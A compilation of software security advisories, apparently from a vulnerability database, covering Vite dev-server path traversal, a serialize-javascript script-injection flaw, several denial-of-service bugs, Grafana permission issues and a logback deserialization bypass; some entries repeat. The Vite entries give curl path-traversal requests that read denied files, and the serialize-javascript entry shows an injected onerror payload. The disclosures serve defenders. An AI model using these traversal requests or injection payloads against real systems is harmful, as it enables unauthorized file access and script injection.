### Summary Files starting with the same name with the public directory were served bypassing the `server.fs` settings. ### Impact Only apps that match the following conditions are affected: - explicitly exposes the Vite dev server to the network (using --host or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) - uses [the public directory feature](https://vite.dev/guide/assets.html#the-public-directory) (enabled by default) - a symlink exists in the public directory ### Details The [servePublicMiddleware](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L79) function is in charge of serving public files from the server. It returns the [viteServePublicMiddleware](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L106) function which runs the needed tests and serves the page. The viteServePublicMiddleware function [checks if the publicFiles variable is defined](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L111), and then uses it to determine if the requested page is public. In the case that the publicFiles is undefined, the code will treat the requested page as a public page, and go on with the serving function. [publicFiles may be undefined if there is a symbolic link anywhere inside the public directory](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/publicDir.ts#L21). In that case, every requested page will be passed to the public serving function. The serving function is based on the [sirv](https://github.com/lukeed/sirv) library. Vite patches the library to add the possibility to test loading access to pages, but when the public page middleware [disables this functionality](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L89) since public pages are meant to be available always, regardless of whether they are in the allow or deny list. In the case of public pages, the serving function is [provided with the path to the public directory](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L85) as a root directory. The code of the sirv library [uses the join function to get the full path to the requested file](https://github.com/lukeed/sirv/blob/d061616827dd32d53b61ec9530c9445c8f592620/packages/sirv/index.mjs#L42). For example, if the public directory is "/www/public", and the requested file is "myfile", the code will join them to the string "/www/public/myfile". The code will then pass this string to the normalize function. Afterwards, the code will [use the string's startsWith function](https://github.com/lukeed/sirv/blob/d061616827dd32d53b61ec9530c9445c8f592620/packages/sirv/index.mjs#L43) to determine whether the created path is within the given directory or not. Only if it is, it will be served. Since [sirv trims the trailing slash of the public directory](https://github.com/lukeed/sirv/blob/d061616827dd32d53b61ec9530c9445c8f592620/packages/sirv/index.mjs#L119), the string's startsWith function may return true even if the created path is not within the public directory. For example, if the server's root is at "/www", and the public directory is at "/www/p", if the created path will be "/www/private.txt", the startsWith function will still return true, because the string "/www/private.txt" starts with "/www/p". To achieve this, the attacker will use ".." to ask for the file "../private.txt". The code will then join it to the "/www/p" string, and will receive "/www/p/../private.txt". Then, the normalize function will return "/www/private.txt", which will then be passed to the startsWith function, which will return true, and the processing of the page will continue without checking the deny list (since this is the public directory middleware which doesn't check that). ### PoC Execute the following shell commands: ``` npm create vite@latest cd vite-project/ mkdir p cd p ln -s a b cd .. echo 'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({publicDir: path.resolve(__dirname, "p/"), server: {fs: {deny: [path.resolve(__dirname, "private.txt")]}}})' > vite.config.js echo "secret" > private.txt npm install npm run dev ``` Then, in a different shell, run the following command: `curl -v --path-as-is 'http://localhost:5173/private.txt'` You will receive a 403 HTTP Response, because private.txt is denied. Now in the same shell run the following command: `curl -v --path-as-is 'http://localhost:5173/../private.txt'` You will receive the contents of private.txt. ### Related links - https://github.com/lukeed/sirv/commit/f0113f3f8266328d804ee808f763a3c11f8997eb
### Summary Any HTML files on the machine were served regardless of the `server.fs` settings. ### Impact Only apps that match the following conditions are affected: - explicitly exposes the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host)) - `appType: 'spa'` (default) or `appType: 'mpa'` is used This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served. ### Details The [serveStaticMiddleware](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L123) function is in charge of serving static files from the server. It returns the [viteServeStaticMiddleware](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L136) function which runs the needed tests and serves the page. The viteServeStaticMiddleware function [checks if the extension of the requested file is ".html"](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L144). If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case [htmlFallbackMiddleware](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/htmlFallback.ts#L14), and then to [indexHtmlMiddleware](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/indexHtml.ts#L438). These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client. ### PoC Execute the following shell commands: ``` npm create vite@latest cd vite-project/ echo "secret" > /tmp/secret.html npm install npm run dev ``` Then, in a different shell, run the following command: `curl -v --path-as-is 'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'` The contents of /tmp/secret.html will be returned. This will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell: ``` echo 'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, "secret_files/*")]}}})' > [vite.config.js](http://vite.config.js) mkdir secret_files echo "secret txt" > secret_files/secret.txt echo "secret html" > secret_files/secret.html npm run dev ``` Then, in a different shell, run the following command: `curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'` You will receive a 403 HTTP Response, because everything in the secret_files directory is denied. Now in the same shell run the following command: `curl -v --path-as-is 'http://localhost:5173/secret_files/secret.html'` You will receive the contents of secret_files/secret.html.
Serialize JavaScript serializes JavaScript values to a superset of JSON that includes regular expressions and functions. Prior to 7.1.3, the function-source escaping logic does not neutralize a bare closing-script prefix when attacker-influenced function source text ends exactly at that prefix. Because each function body is escaped independently, a delimiter supplied by surrounding serialized output can terminate an HTML script element, and a later serialized value supplies injected markup that becomes a live element in the page. Exploitation requires control of a serialized function's source text, such as through a spoofed toString(). This issue is fixed in version 7.1.3.
A vulnerability was determined in postcss-selector-parser up to 6.1.2/7.1.2. Affected is the function toString of the file src/selectors/container.js of the component AST Serialization. Executing a manipulation can lead to uncontrolled recursion. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. Upgrading to version 6.1.3 and 7.1.3 is able to address this issue. This patch is called 5bc698cef66f8abd12610dc623e5d67cbc0f869d. It is suggested to upgrade the affected component. The vendor explains, that according to his definition "DoS on server-side on user-generated CSS is low risk for us (since most users compile own CSS with PostCSS)." The commits were backported to 6.x branch, which was the most downloaded version.
### Impact `serialize-javascript` escapes its output so it is safe to embed inside a `<script>` element. Before 7.1.3 that guarantee did not hold for a **function value whose source ends in a bare `</script`**. Each function body is escaped on its own, and a bare `</script` was only neutralized when followed — within the same body — by a character the HTML tokenizer treats as ending the tag name (TAB, LF, FF, CR, SPACE, `/` or `>`). A body ending exactly at `</script` has no following character, so it was emitted unescaped. The delimiter is then supplied by the surrounding output (for example the newline the `space` option emits after the value), and a later serialized value can supply the closing `>` followed by markup: ```js const serialize = require('serialize-javascript'); function f() {} f.toString = () => 'function f(){ return 1 }//</script'; function g() {} g.toString = () => 'function g(x){ return x } > <img src=x onerror=alert(1)>'; serialize({ a: { f }, g }, { space: 2 }); // { // "a": { // "f": function f(){ return 1 }//</script // }, // "g": function g(x){ return x } > <img src=x onerror=alert(1)> // } ``` Embedded in a `<script>` element, the script ends at the injected tag and the `<img>` becomes a live element in the page. Exploitation requires an attacker to control the **source text** of a serialized function, in practice through a spoofed `toString()`. Real functions always end in `}`, so ordinary function values are not affected, and non-function values (including strings containing `</script`) are escaped correctly. ### Patches Fixed in **7.1.3** (#235). The bare `</script` form is now also matched at the end of the function body, so it is escaped regardless of what follows it in the output. ### Workarounds Upgrade to **7.1.3**. If you cannot upgrade, do not serialize function values whose source text (or `toString()`) can be influenced by an attacker. ### Credits Reported by **ha_kr25** via the Yahoo bug bounty program.
A vulnerability was determined in postcss-selector-parser before 6.1.3 and 7.1.1. Affected is the function toString of the file src/selectors/container.js of the component AST Serialization. Executing a manipulation can lead to uncontrolled recursion. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. The vendor explains, that according to his definition "DoS on server-side on user-generated CSS is low risk for us (since most users compile own CSS with PostCSS)."
A time-of-create-to-time-of-use (TOCTOU) vulnerability lets recently deleted-then-recreated data sources be re-deleted without permission to do so. This requires several very stringent conditions to be met: - The attacker must have admin access to the specific datasource prior to its first deletion. - Upon deletion, all steps within the attack must happen within the next 30 seconds and on the same pod of Grafana. - The attacker must delete the datasource, then someone must recreate it. - The new datasource must not have the attacker as an admin. - The new datasource must have the same UID as the prior datasource. These are randomised by default. - The datasource can now be re-deleted by the attacker. - Once 30 seconds are up, the attack is spent and cannot be repeated. - No datasource with any other UID can be attacked.
Versions of the package @tootallnate/once before 3.0.1 are vulnerable to Incorrect Control Flow Scoping in promise resolving when AbortSignal option is used. The Promise remains in a permanently pending state after the signal is aborted, causing any await or .then() usage to hang indefinitely. This can cause a control-flow leak that can lead to stalled requests, blocked workers, or degraded application availability.
Versions of the package @tootallnate/once before 3.0.1 are vulnerable to Incorrect Control Flow Scoping in promise resolving when AbortSignal option is used. The Promise remains in a permanently pending state after the signal is aborted, causing any await or .then() usage to hang indefinitely. This can cause a control-flow leak that can lead to stalled requests, blocked workers, or degraded application availability.
In Grafana's alerting system, users with edit permissions for a contact point, specifically the permissions “alert.notifications:write” or “alert.notifications.receivers:test” that are granted as part of the fixed role "Contact Point Writer", which is part of the basic role Editor - can edit contact points created by other users, modify the endpoint URL to a controlled server. By invoking the test functionality, attackers can capture and extract redacted secure settings, such as authentication credentials for third-party services (e.g., Slack tokens). This leads to unauthorized access and potential compromise of external integrations.
A vulnerability was found in juliangruber brace-expansion up to 1.1.11/2.0.1/3.0.0/4.0.0. It has been rated as problematic. Affected by this issue is the function expand of the file index.js. The manipulation leads to inefficient regular expression complexity. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 1.1.12, 2.0.2, 3.0.1 and 4.0.1 is able to address this issue. The name of the patch is a5b98a4f30d7813266b221435e1eaaf25a1b0ac5. It is recommended to upgrade the affected component.
A vulnerability was found in juliangruber brace-expansion up to 1.1.11/2.0.1/3.0.0/4.0.0. It has been rated as problematic. Affected by this issue is the function expand of the file index.js. The manipulation leads to inefficient regular expression complexity. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 1.1.12, 2.0.2, 3.0.1 and 4.0.1 is able to address this issue. The name of the patch is `a5b98a4f30d7813266b221435e1eaaf25a1b0ac5`. It is recommended to upgrade the affected component.
Deserialization of untrusted data vulnerability in QOS.CH Sarl logback logback-core (HardenedObjectInputStream (logback-core) modules) allows Object Injection albeit heavily restricted. More precisely, an attacker able to influence serialized data sent to SimpleSocketServer or SimpleSSLSocketServer can instantiate objects from classes in the java.lang and java.util packages that are not explicitly blocked. Although deserialization is heavily restricted by HardenedObjectInputStream and no practical way to achieve remote code execution or significant privilege escalation has been identified, this issue constitutes a bypass of the intended security restrictions. This issue affects logback: through 1.5.32 inclusive.
No resolved vulnerability.